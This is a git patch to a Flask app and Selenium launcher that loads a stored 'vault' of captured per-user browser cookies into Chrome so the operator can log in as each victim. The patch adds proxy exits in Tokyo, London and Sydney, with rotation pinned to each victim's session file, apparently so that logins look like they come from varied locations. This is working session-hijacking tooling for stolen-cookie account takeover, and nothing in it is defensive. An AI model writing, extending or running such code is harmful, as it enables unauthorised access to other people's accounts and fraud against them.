From cba8a8f0cac2abc5178114caaeb22e0b97a68b82 Mon Sep 17 00:00:00 2001 From: drjones Date: Fri, 25 Sep 2026 20:45:05 -0700 Subject: [PATCH] =?UTF-8?q?v7:=20proxied=20session=20jumps=20=E2=80=94=20N?= =?UTF-8?q?ord=20egress=20dropdown=20(Tokyo/London/Sydney),=20sticky=20rot?= =?UTF-8?q?ate=20per=20user,=20home-IP=20option?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- app.py | 41 ++++++++++++++++++++++++++++++++++------- launcher_bridge.py | 7 +++++-- 2 files changed, 39 insertions(+), 9 deletions(-) diff --git a/app.py b/app.py index f7bbd54..bd31bce 100644 --- a/app.py +++ b/app.py @@ -394,7 +394,17 @@ SESSIONS_PAGE = STYLE + r"""
👤 sessions for {{domain}}
← back
-
{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Click JUMP to log in as that user.
+
{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Pick an exit then JUMP.
+
+egress: + +
{% for s in sess %} @@ -402,16 +412,21 @@ SESSIONS_PAGE = STYLE + r"""{{s[0]}} - + {% endfor %}
session (source file)cookiesalive
{{s[1]}} {{'✓ fresh' if s[2] else 'expired?'}}JUMP IN →
""" +NORD_PROXIES = [("Tokyo", "10.30.20.154"), ("London", "10.30.20.71"), ("Sydney", "10.30.20.189")] + @app.route("/open") def open_login(): domain = request.args.get("domain", "").strip() srcfile = request.args.get("file", "").strip() + proxy_choice = request.args.get("proxy", "rotate").strip() if not domain: return redirect(url_for("index")) stem = domain.strip(".") @@ -419,15 +434,26 @@ def open_login(): if srcfile: rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies WHERE domain LIKE ? AND source_file = ? LIMIT 4000""", - ( "%" + stem + "%", srcfile)).fetchall() + ("%" + stem + "%", srcfile)).fetchall() else: rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies WHERE domain LIKE ? OR domain LIKE ? ORDER BY (domain = ?) DESC LIMIT 4000""", - ( "%" + stem + "%", "%" + stem, domain)).fetchall() + ("%" + stem + "%", "%" + stem, domain)).fetchall() c.close() if not rows: return redirect(url_for("index", msg=f"no cookies for {domain}" + (f" from {srcfile}" if srcfile else ""))) - payload = {"domain": domain, "cookies": [ + # proxy selection: named exit or rotate by session-file hash for sticky-per-user IPs + import random + if proxy_choice == "rotate": + h = sum(ord(ch) for ch in (srcfile or domain)) + proxy = f"http://{NORD_PROXIES[h % len(NORD_PROXIES)][1]}:3128" + label = NORD_PROXIES[h % len(NORD_PROXIES)][0] + " (auto)" + elif proxy_choice == "direct": + proxy, label = "", "direct (home IP)" + else: + proxy = f"http://{proxy_choice}:3128" + label = next((n for n, ip in NORD_PROXIES if ip == proxy_choice), proxy_choice) + payload = {"domain": domain, "proxy": proxy, "cookies": [ {"domain": r[0], "name": r[1], "value": r[2], "path": r[3], "expiry": _safe_expiry(r[4]), "secure": str(r[5]).upper() == "TRUE"} for r in rows]} try: @@ -437,7 +463,8 @@ def open_login(): res = json.load(r) if res.get("ok"): return render_template_string(LAUNCH_PAGE, domain=domain, n=len(rows), - token=res.get("token", ""), url=f"https://{stem}/") + token=res.get("token", ""), url=f"https://{stem}/", + srcfile=srcfile, proxy_label=label) return redirect(url_for("index", msg=f"bridge error: {res.get('error')}")) except Exception as e: return redirect(url_for("index", msg=f"launcher bridge not reachable ({e})")) @@ -446,7 +473,7 @@ LAUNCH_PAGE = STYLE + r""" <meta http-equiv="refresh" content="12"></head><body> <header><div class=brand>🎯 logging in to {{domain}}</div></header> <main> -<div class=flash>Launching Chrome with <b>{{n}} cookies</b>… this page auto-refreshes; the screenshot appears below when the session is ready.</div> +<div class=flash>Session <b>{{srcfile or 'all'}}</b> · {{n}} cookies · egress: <b>{{proxy_label}}</b>. Screenshot below when ready.</div> {% if token %}<img src="/shot/{{token}}" style="max-width:100%;border:1px solid #232a36;border-radius:8px" onerror="this.style.display='none'">{% endif %} <div style="margin-top:16px"><a class=btn href="/">← back to vault</a></div> </main></body></html>""" diff --git a/launcher_bridge.py b/launcher_bridge.py index 2fd24a9..3a5325d 100644 --- a/launcher_bridge.py +++ b/launcher_bridge.py @@ -31,10 +31,11 @@ class Handler(BaseHTTPRequestHandler): data = json.loads(self.rfile.read(ln)) domain = data.get("domain", "") cookies = data.get("cookies", []) + proxy = data.get("proxy", "") # e.g. "http://10.30.20.154:3128" if not domain or not cookies: self._json(400, {"ok": False, "error": "domain and cookies required"}); return tok = "%s_%d" % (re.sub(r'[^a-z0-9]', '', domain.lower())[:20], int(time.time())) - threading.Thread(target=launch, args=(domain, cookies, tok), daemon=True).start() + threading.Thread(target=launch, args=(domain, cookies, tok, proxy), daemon=True).start() self._json(200, {"ok": True, "launched": len(cookies), "token": tok}) except Exception as e: self._json(500, {"ok": False, "error": str(e)}) @@ -47,7 +48,7 @@ class Handler(BaseHTTPRequestHandler): self.end_headers() self.wfile.write(body) -def launch(domain, cookies, tok): +def launch(domain, cookies, tok, proxy=""): from selenium import webdriver from selenium.webdriver.chrome.options import Options opts = Options() @@ -59,6 +60,8 @@ def launch(domain, cookies, tok): opts.add_argument("--start-maximized") opts.add_argument("--window-size=1440,900") opts.add_argument("--disable-gpu") + if proxy: + opts.add_argument("--proxy-server=" + proxy) from selenium.webdriver.chrome.service import Service svc = Service(executable_path=os.path.join(SESSION_DIR, "..", "chromedriver.exe")) driver = webdriver.Chrome(service=svc, options=opts)